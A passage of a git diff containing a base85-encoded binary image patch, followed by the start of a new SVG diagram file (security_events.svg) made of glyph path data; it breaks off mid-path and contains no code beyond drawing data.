z>u;OP&?*Piu?kMaJU%-5sjdU;qWvCcP1EG*i7OCWv^fKnJJ+D5(g3w^D;p2DySw|@
zvuDtA$_gof=g?$%)m8aPGbcLuGI+LNHo5Q5#qNWV0=5HXN=k~@#%Fr5!{y@br@POv
z315$&z}%rWp%Y9wXP~|Kxz1PpQ(ao`H;=WBX2<T#D|$S-kv`b5(BJ(=(qB9<0g06l
z{?owjgQhooi<7%#%Y>cOPpKLwzQzO#FXm2eGn4XgPB<gib|!IvlL~?#Y&BV{e^toL
z+FH@jkcLvkX$oTZZD|mg?4WP2iS!@Ur)%Uy|DuG5goTau^+mYH)R;d25zszB{uVO?
zYA%D}k(e^bl9GuwW(kSf0m+nKW$!C6E_QWxqP^kOy{4`f`4#AuI0ZWgmZZhFy&Ql7
zWAEbf11vov5)uKjo0Z1RL5G#wTZ60ltR&dXjAX^jJC|nfR=jRG@;S1N+(h1QBJ`v?
zdE)aP2sS7<;9Ea_wNir%r3wlJ5_<@O-*zJyrYHz4C@{vDc9$3#8SlL(VCSHvee&rO
z#E}%d7N&XL0p7=8@e?|euBRucoR*$`nUIkFlxeu&S!SkLvGlnya>wtBi^IztRS$zl
zX0o%gEK<vaPLrf%ik~(Ybb*%qDSl<UjDwpy0>ru$GpCt}$p?TxVV)o?mx0~y0o2p0
zs|K8g)nF&L*LRMz`(p+@EI4$(T^10~YAc{cL`1}=eVpZqn~jOv%hK<aB;yFKX}-)s
zoPT+&FE`k)iErL8C?7o^yI1;-VPbS-JfDtM-56RxFGz669(~Jg=;^ud{u%|Opm^=|
zmArdSPFv!dlseP+Y2UJ;2Dg1+BMvsbIAMji>av~zFW)?;YU!i(!K2j@)3Ssv&Hw$*
o-(T+?(Ejb6zdr|cW~Y}Jab)vTuh*BrtCa{j8Kv9#Qif0e4;XV<7XSbN

literal 7355
zcmb7pbzD?kyEck}gff7DqB1j}<S>MQlpt)nyFnO+Zia3ohHj*hff10d0hACWrKG!S
zL^?z%55DJpo^$><&pF?>|JZx2^}Fxuu4}D*@81qrQIaMjzE4a*KtLud1E>)YTm>%2
z*+hhw_myj_M3;|yC`lcZx`R2&-NYG5@WRZ&6bY8KGqFIbAx+FYow||21O$YPRvJ1e
z9YqB}go7Q2$sZXG4?D+8Z2|&eQ4dEGgbfk}Hbq)k*^5ATKD0o=R%RklZC*uAMMnvw
zrIn1AGg944Ndw_!gAg!-iarMmdk9_v*db9SU=KT6dlx|u5$L~g1uw^cmf=wFzeG?r
zBGCVIN=H!zEaBjc1oLum!VsK%TwuPZ99&O11)d79gSk1mIN@B}a87<07pEXEzaS?U
z_}>@w(weiGxu6;#^>163GZCmI3gsvWhr7GGbGY+xI5=Ctxda3R;GEoWZf@A61kA<L
z9%bSIvv*<m3jsj7Ae^lnQC1H2;6I2arVg$s5$L6-{~3av<KM9MF8@x`Wy0VdCXR3}
z4$eOz{UxZV_`i$V+5Ii;f>J~Nm%slbu#1MLBNDELba8NXMqC!ooZ*itM?nc^qzTHw
zS;N7>_OC3eSUR8_Tr3?N!4m4c99&>U6NHuhpOt@UC@Kod+Pk1k>=8&=Km>Y;!C_@(
zCMdwq$HyhWCB?}r!O6uX$^VRpM^XUb1f)2{dAYcFx&P7y91yN{NPE;@x@Ldta&!Kp
z?jJJPIbK=@kj_?aNHZyC2Rrb;f)=#;XJ3GS#QV3d*+2TiCHarK@Jnale@gq`O8wW;
zC4c@5|0eF`<ZtRD?JxQ6d`aw-r`T(k`-MP7K|}JxaOcm{U$y<MX-y>`KYqMqm$<mN
znVFe-vMUS*i^Ao~$jDSwRM^?s&3#`TTb<R_)oq*Tmy?sLt*!n1`Ll|O%9k%+mbdV}
zrO8G{M!dYd@87>K`O=usfVIJdDJD2iuP#*fws3QEKY8-xRYkf^s^`}3wmmjtXmK+8
zQ-ze2)a<vVf!VR5&W7!yJ<sBVZ+lxTEG(v`rq7>0U*Fk4WCym4cB`waqY7i|zqU!m
z+J;tVG6m|py^DYM?p=F(dr?u*!NI}d;bB2RK~hpuUS6J~qhn!Vp}DzvPEO9{#>vgi
zRa8{OVzFp6dVhbvp`pRU!()1SIw~q^Zf-6%Ha09QEFmEwBO}Ac#>U>>-pk9&z`$U4
zch|(k#M9F=Gc)t|@856VzSYpsh>nha{rYuqaPY>)Msjj;et!Po;GmnE8y=5OO-+6I
z@};)6w!XeT27`%@kKfwb3Jnb%85yy(v>YBD4hRV7?(SArR`&Pz_xARln3#C+;)SH7
zWMX1sL_|bZR+f{KldG$%rlzK^uWv|5$kQ;y*RNkwQc|3qowc;IR##Ws+S<y>%64{k
z78e&?TwIitl)}Tq_xAR(v$L(Ot%HJs0s{m4`}@<=)8D*#v#_vWWo0!xJNxR@tCf|N
zrKP2~xVW*gF%$~r=jRt08F}&h0*Ax-`1mw8H#asmE-x?F)zzh?rG5YYy|c43CML$h
z!lJ6Gs-vT0ZEfv&lvR0oc}Yph`1ttD%#5L-;o;Gto}OM`U*ETH-=?OfdV71fx3>od
z2G-ZttE;Q$=jR<997ab+yJm)pi;DxwQ&%?Do0^*H>+8F^x>{OVdZvaH6ci>WC-;9I
z?HwQP9_*iAoKLLH9~>T>UtAbx`7eE2y)5ef!TyhvpWA!82ggSz=VzM-J7?!-Yn$IT
zcegh;H}%rJ4KsX)hK825)(bo8PR~w97pLad7AKZxy-E`M7siu56lAxQ@BTQ5sLctf
z%EWxG#<W#o+G_CI-=R<_002ivM-M8!iU|m)A+o>=4UehK*;@v5<7otrAGqE|D2P`$
zMI`b?&$_7>WIT1s$dhmBg+O`|$oa3jL`)mph-x6a;S<;zK!)4%owx95m!=Rp&YIi8
zS!K)`S=D*tKFlKKrjN~~z}@>>INVv&ymGqdP_K;XMdR^WU*oS16@^rL&gfRrD^CDa
zR`@l9IDjSsL7+e|nj8fE|C!8!F*0GJ9=zVnYD%k#nw)f(DE<I-rzYei2Ais!KHdq2
z0xPjHe8uSfFUVZBpg5lw_Ac%T=DL<_-AuWBjwo_orqrLNLdEZM_+RT^{|?R8*X8KK
zt#?!0dk{jiHGB@mW>g8@VG6IYgxr&PQ)5f_t#nfS8wj9ELhIQrq_he)kq18rm^`>L
z(MH80@d2z+VIb7A*G_5TMjD_SYL;z7m_cGN@QPvn>cP2N(JNg2eLUe2bZeHWcH+)g
zC$^KeL*!u_i9Xg7%}fiz2KGH`0=lY*P0Z+em4bDKZoQ>-j2E9sCL)n7qQSUP<gHdw
zYnze8JOsm8X7DZY>%MF@J0xlbjT2&Bq4^$r0^(zX^+?nET(aGN@Y=<$z;&qgLrAL<
z8T1rbuMG<?6a}oWc|+umz+S_>bA0@_D=h@RIK1vxSfFns--6`FK+*x3B3gbXo`|+c
zH1h<xz}sT<)UC=}xdP&(MWK_$I+K)l-rjc9+?Kf|LVUzHOA_Dxs_Than0{}v5cL2L
zk43Xp46349V}=sm0aDA*fd8oaK`jZqh#=}Ucj?x>XTae|s~z|fX@_}Az{iCQeB4fY
z#07qkOvoU|a`WIm^CZ``Nxu&@O6(4Dm>v}1iA<;{m0=$NO|C151200*k9%g;b^FXR
zdgMrS&F!E=o74%DdpbCRuY6f0raOTJIm}soSgVFwg4?=8{Ck1}EqNbT%)$_9BG?D2
zh7?w;c^VX5@`9Ljp3D4rmmH+HFs>PvK1n@)oA<_viHg$Hr&3iUWq_n{ezT`m*264-
zUtP|(N-?7{2jBl}3pCL4*yNW%pz?g%@FO%{kUaitEsM}rum*>cZerkiKlz|5<P&AZ
z|4rr~Qq{v%%D<_OQU@u*1F6b4&mL#X_n(#Xf8m$<a`9?pV#tW4<NJvefMS9~TyX@V
zR+<ruG%Yv8Yvx2mFpU#5Amb^v(jWKfd$4CejDN4v+3xpBA44z;QW^vVLPWZ3cXm4=
zafY)MencgnCtoFfD@-9oYt;g)QdLqnrmYhUukH_i^RYtUNXKYy$x=UP_d{b^#B-1X
zIR)+z%p0kiF4LHsuf1+P_pc`?nI+KVUimITbJQBaLa^@>`FWxjzDmO?#vB)-(u@+M
z-@$Won@KFh;#Xe#ogCpshc4gn)H7&4i3`*u_xLO3p-<Auy0V>JUnK`#N)~_ax>=+f
zLYtsxI0^C}yYBsKD4a9)0mY}E->1(&lJk=E0>7}vqNsh4od1#iA<vHL$>2J<Y6Zl)
zHc;g%xllx5D*iL&QEp^*Ys4cU#j#nB)nD0g3d@0;V9i9XoPjEdx0+nsrTs5vQh#6k
zylH%fUlx6?@S6;DoeuMh^@`TREmLVNX#o;D4c*>9E<NKZMhHrqQLZH#ejf{PMONVs
zRnfkcelDSkU22dMh!-B=Wqi1Pagpcmf2@15;4SLA!Q(CxgAO87rQ3uuVy@j73qsJa
z>F={UJJofVo8d8`T~BJXb$UBA7c2>Tj4F6<#r3_mzj{Cs8JA2HV^&YAdRRB$8wybq
zJyOs4br&n@O$)ky4<nU!7aW`)P&7#TNw6!s`Oys5$u3}r$5>RDauem2Fk16oA?mZW
zsu1Tko=P1s(vi?J1W#NApL}V61EL4&V>NzjMWW|hv&LuVzt0zj(aav+B{Wt|lAd{4
zQkN7EDIJk!F4K@^=dgaD>xKM@a>a3}#2#t)pR;&<^Im`Cb1ZT)Y5aTP&QA03o&=gm
z+1p^+D%K$f5&dSM(ra_3deFVnddtGUZG#kKINwlhF=zONY2N3-X*fA3J3#WkALO5G
zN<ja7oDbF(%$1Tj*b-VfG{(27wfLQ$3rLd>!os`W89ijf*U=eWujZ)BaAtQY4-`vH
z<oLh^V10d+<W4hN)Lnk0GXf}is2oRKP~JkEn}ttKWIiEdu_Fw9TTSrUfs}kTXJtE&
z4O~tPsIzp%={?*@hri;DfJ}j`Il}ckiB`miEUT%BVo<ISyEdpq{!RT&zE?BmjX<xY
zZ_aUJRgMxPLn}3tncBB!gA80LXb$maO&*8~AvVz%i%Ok{l^JOWDj8sBv?^C%Tn09T
zyKri7Zh^Pla+Foipwi|+O^k^{@njH;{?+*VTzF<8bMh1>@d#2IncF(E70(8)R^5B|
z6I(uomK2i6zpj54!_N5nW5P!+nxiCmli>Iyg2}5wl4h&uT^^YiV~3j7$Cc4T!n?7L
zzosMfv7eS}aAqX6fl0j!Z4LO9tGwa}VTq(QR2eOkovzWL)?JZ!WP+FNXH-rz1VHtG
zBa&cu^GT?gs(z?)hu09ro4oYZqs|^%CbeOprn?7)O_<h$8OveO_}jEDs>(Elk(ntG
z;g4+NmAe9aL-ZJ>stgsXhuj0S;we}YDY_5$sm0d>DaF26I4+G1D{ku)8%kVz8Wy*l
zP^6H+$C;GC(6H+`NZ~7i#%sMuvT&l)byEKba{Y!FobjxhEWBwxBE`PHp+JJOR9GwB
z+e8O&(bQ`Eia3$21@1WE6wJ2rUeiK(DHwF6wHtX;+q((a9L3~T(VOs`K~Vgi$8!8A
zZ*o`A8hf&)H7}2DcZa$n=3ikZ0o1Mi?`n9%7gz%;gd@*ZHj=ixRDmgUJJX*SF}_Dr
zSrRI{sE?_UdRM2u+8Z5LrIs<gTSfDcJ+XdqsKeHv&?xp4IE&XC8CXC*$u!OX)K>pi
zB)J_vc+3kF;047W#VJUhZ#@khiFg>CDOj&QPY!*LoB}vFGsFsIf@5ea?#+rjU!el@
zdOL(8BV_0*>kTB^Uco|xunqSk#xHxOLM&rEe>eS`Q&&KYlDKp5y~jZFys|VwQ7p2?
z-GwA;0aHLpY5CwQ36_4>TtHd_PJOq>RF%p`XCRky7Nx!foJa{n--nPlb;tJKchPAY
z>8mhHgt!H-5mZQeC0~XrnZVFH8U)iS15Hp^=o5ArjJ)>%jy!~IE2Qt>WV|NV?IZR9
zQ$}n*VPnjfW8r;0W>Iu?&fCKZT8s6D9j*PX#&&8-7MPw5TppY(X?pTZYxoEiV@m{@
z6%-j```qNRc#%u3&2jvo;X6;{$m6S>2Beu))NWp@3PV84@dpH3ZFu^39lY<zYqg!~
zT(wQ6_v%XC22Umv@h_>fg(Lv}V9Wl%tHM_z(PeSweQG%uGXrRRKP-G#jr{+q^_$f~
zuQ9cDZQfh2m}i+-ZsV8+sgi@`hQ+;C45`!y-I-bQjh4G4c}L~%MBNtuF0dV0_$0iM
z(Hw#Si%}7Zd$#8CeehS1oX@|329@277l|_VEyN1EO7?T0ejJBPOGYy@lWXqD0!j^)
zUk%t-iU+9~#@1=IKNNQ>d8SaCI8ntv3X7LUCXMq}h4hN=v%au@VwMX|ZG`xNhwk5(
zPWNI~L<=evrM4L7qtvz5*(lK>MJbT0a#<ml$a0vnC5hq#_S+2f@EVm!9G>FS>wsxI
z#rs;K$UOAnv#3&gN6l9Alxkw1mwD5vS8vmK7+T`8?U_B(IyB7%wcEmFS@bh0Mc=^6
zZk&jTuw`%ZTF_zwVM~>A02L{EB+mUT=nNR!z4sLZ+YW9I6C+COi`NU5bO7`obVLgo
z_l7OeGBZh=-13HhW)0^3@(F);ytbrCowehNF9)_llGTT|+Ig<7>PIuUeb3~+0(p7A
zQTqnF40*S%uCkOR+8iV@Wm^9-`N|Z;IJN>GEfe`!hq+>0QTR2{<Yp7QZqtXZ$#}AZ
z)`%bJH^t6{S^SmEM|!V4{~nEweIgFD2FN_5%!i~a9$H40Y6YB7Xi>Y`fT){5MUcb&
zYm41VF<to#rjG~3#u~HSauS&3qJ$)o;s(n<$vXswTKm<Ul$+`;s6Z(|YoLq>Zk_P1
z090fODtiUeNH7DM)eCNqB!^WI3H8NogcLrw{kZCGqtwSSjuNaB)>O4WPQBL@z0tP+
zmhnBiU4^YaToW`J(K$q}%6UjRDf~FzD~t^`1-*5*x1&}8{m4Xhi%AXSxx`6LIB`wC
zPA{u(32~&ozZhHG^n*nR>>}r6=KBQedwm7l%bb`vRMq>aDo4|yoN+f7UBH+gg$}Cd
zoZ_EalDYIr&1g=toc*}Z0ye^0m(-W7ttNNGZ*L9@MF*YM-2Ag8{_j@tpTCI8ZVkG)
zTN29w{@9k)RD7|r94A(^^SQ?M*Z=K1iX##ob*zNO$B5Mk-UM4L_lehZ-FV)OBLZC)
z#q>?}&-o;hYijl#%4+UjgA%&|#Uhd&8yP|9j|%g5GH<QKh#juh&0nzRTwH8%<(Ma8
z2b#|p9)m<c6iaEo>!>cp3oZ2@M>$HG7X7Ic2k9xLWTo2Ga~+F>>*}?WF;f@o)CMFN
zw>y}ij8J9~BqR0|Drf(Vz79+af}QJe$j1WkrX0nN3&s;B#N?rkJRy|ZZBNv_D%4_P
z(kroL^xpg2SS_}Q#Sf?uOi4mM<NHy^)lp1lO}p&$FWZhcNn)qJ1bbRLzQ+SSL91s%
z+OYT6FoR<~iV{>p@B4J<fnxkiidm{CbaUou9yZ6v^_V8RuZjO;aYj0izR&mBN&JlR
zb#W@<U!}^-Y>}`H|KXMNxQt?E#rGe@8s9Z~1ULgQ)50Mz*4R^o4rbwnJD7ZyUZRjN
z=Bz~E8NodYWA7p#`jkh^9@;{SIh=@J(WfA*HXiZjZNcLto|<od7#vjIYCfH#_ZJa7
zp+SiLnnMf@-Z|gDAV8bz@ZJAnqHo>#?r2yC_hO>}m0&u-G}wA1=RAKe<uq<+IYMnl
z`rD~oM~}Ybdx*rOmXwup;=U<G@?4>;_U)>6!$6zrbMNGPY14OaX0ey5WV>ziliDh*
zVvQPmi0w?Mb7gfouYF?wePlF2l}l?R)MugpMLg-LQ%I;~Hm3Jxj3uj(B}IpEuAt4a
zw?qrc#Uf)oHH?w)R#J)`Lldt)vxsw(9cDu$sv)WL(P!5{*a)eevO@6<nM`U@vhRtp
zTNlF!Q42DRx4*~nogEX+8Brfz0?b62Rm?l4u$QiAB(XH0T*D;uaA(*=U9_}67lRNw
zk7kgSGiI<WeJ*Z1kI$!k(66Z4U!~!g&2Jm`q>)3mj}q_b98~j*A{rBVzeqPtcdy1J
zq-s!?LAATX*og4JRE($?r@(@{M*>lqm%qEU`klUPxptZ>rb~@kG&c#3iX8~>R6JP0
zvGJBj_!_%=YzHZOAIrji5Ta%xo^$!$6WRNuWi^*P1$@hPi#N`Yak9f$ho@Z$tD32(
zyVt*65nLdlM-J9IQ7(}?ZI2Z-LA#0ml-Htwoe%h*9k!!wa|y-KYAm#5)E8k^<OfN$
zH5;{lT2f^81Gz;J;iGI%iW**QSS$HAuy+V3sdmU#cHW4RKfx7*cY2f+u~&OLU_2nZ
z;}HrT(aClZYOTbH#7xP@_Mqx#(9WmrDVSdJjyq`<N>-#5n2hWN&63=8VQ<!Abr7sB
zSh+UX1+cFpkWeq*BKKe6_(>LQD-%JJ!(jF>TK~ygP-2n~mQS^$z>w;DnB^zBA-1fu
z>B^u=$0qK+c$^e7StXslKfu(|aeqj@MKt9#AbK%RKQ|zc+3{aC1tdx<4SjZKJM=vs
z^E5bIIW70kVlYjXz0LO4CI9x1E_;>ok0K9tguATyiqbUQlkCeKn+IHkt%>DbIDYlb
zQ84fVbXlJ_9YggdY(h#-s<ABUux0HO0+eEtC04e^*zT>OKx0-p>4rVAZk<_kbZH`_
zS0zbKrsW!jnP-05{I}3d?96rlI}lgWLB>xA*sjoGXXJRSjOv)&vc{5n@+a$yV$$mb
zxQ^*ZgUZdXz3&Lop0Y|G;wL(Pr$GdN9f;XMr!je(T|%SSno@NXaCfPa+pQinRA(rW
z|2(u^POGKyKv?>z>XdS9KAlnVG_&6u=2KnS5rhgUCGl0?BEwge5zc}9!U7mli-*!}
zcV=H}c#|W0bvWrbtke2)r4JjX(yxCBK*>oYZI|iUeg!GIz;C0OO*0Avr>PeYLj7ob
z9?1ocJQ<B_3SJqelQ5gOFqG`3G+v#LNiLl#uM)MBanYXNMl1P=9@{-XkDYbr5k`o5
zMva;oPxvYm0BgSp#Vv_ZkBLd7K&3Cq!Ybxft7$M-rzqfGgNfH)IyF>_hBd#OmsXA%
zp9Y#x#wTHiM<2sBn5x1uNz)=^?!DbfvL2me#w56gCI|VGEK!|D3!9k6m^f!9d~SQB
zGTu#29jp_)XD$1b{KSXG?3y^0DyJ7pYavgjg`_!#xm<w)cQ-sl5PF&^JFZT_`!(Fe
zHR(4YvR(x3rmI&VXzvXiuWmOV4@&QNp0&9BKJ(umXo8;<&78KJHO=}H1r+M?)x7Yg
zNj(^fW<Px(y+ZYNq|(%%zPPAL`jNNJbsTTrr)~#E`n%n?Cr)WYS=Nh^7^UuqPA+{8
zq`RVN8$y{$G|gU|fm3I7-5V#7mWPrQ_n!?gkQVc<cz#|SZZyqPyX)^HkZ6?66J473
zgR)_nkgvqTGiNP*^*qLp=1eW7kR$wQrG$d)LS3geXf(6o5%A-nF;wF)LFQDG$F_vy
zah(vx+tV1q!4}%F*}r-;HAG*z=^N-(QXtT~5jYt2AX3@b^=E+pxT}o?6<p~Wf_9*9
zeL%gx+E+**G1+7>>xaBwc|YgQ%vm%If+WrBmoas=dHu=oBapcRU_MW*c$r5gUc2U#
z{tkIuxVf9rOb<N;hWXO!;9>iR-%?qA2RnXrKWjQiOvw!l?REH%-YH2H+9k%{Xw^Cy
z3+;JY_?vaTALBDnFFjk*-+@vNL!3Nx+1|Xb^szs+p^jyZ^|XkABh{yh{t;f(yuOy)
z^(S=WBV~pEEuhZ#y+UGFxhksZb<l(l{Cedg7W^WHnfnWq<Xlwb&^sTKt42wouRD!8
tS1aAWT%SM_!AGS3u?t!H_WL?50f!%A;$_*VjX%E=WhIq>GVzx|{{bHTnj`=K

diff --git a/_images/security/security_events.svg b/_images/security/security_events.svg
new file mode 100644
index 00000000000..f1b93923da6
--- /dev/null
+++ b/_images/security/security_events.svg
@@ -0,0 +1,338 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="679" height="320" viewBox="0 0 1101 520" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 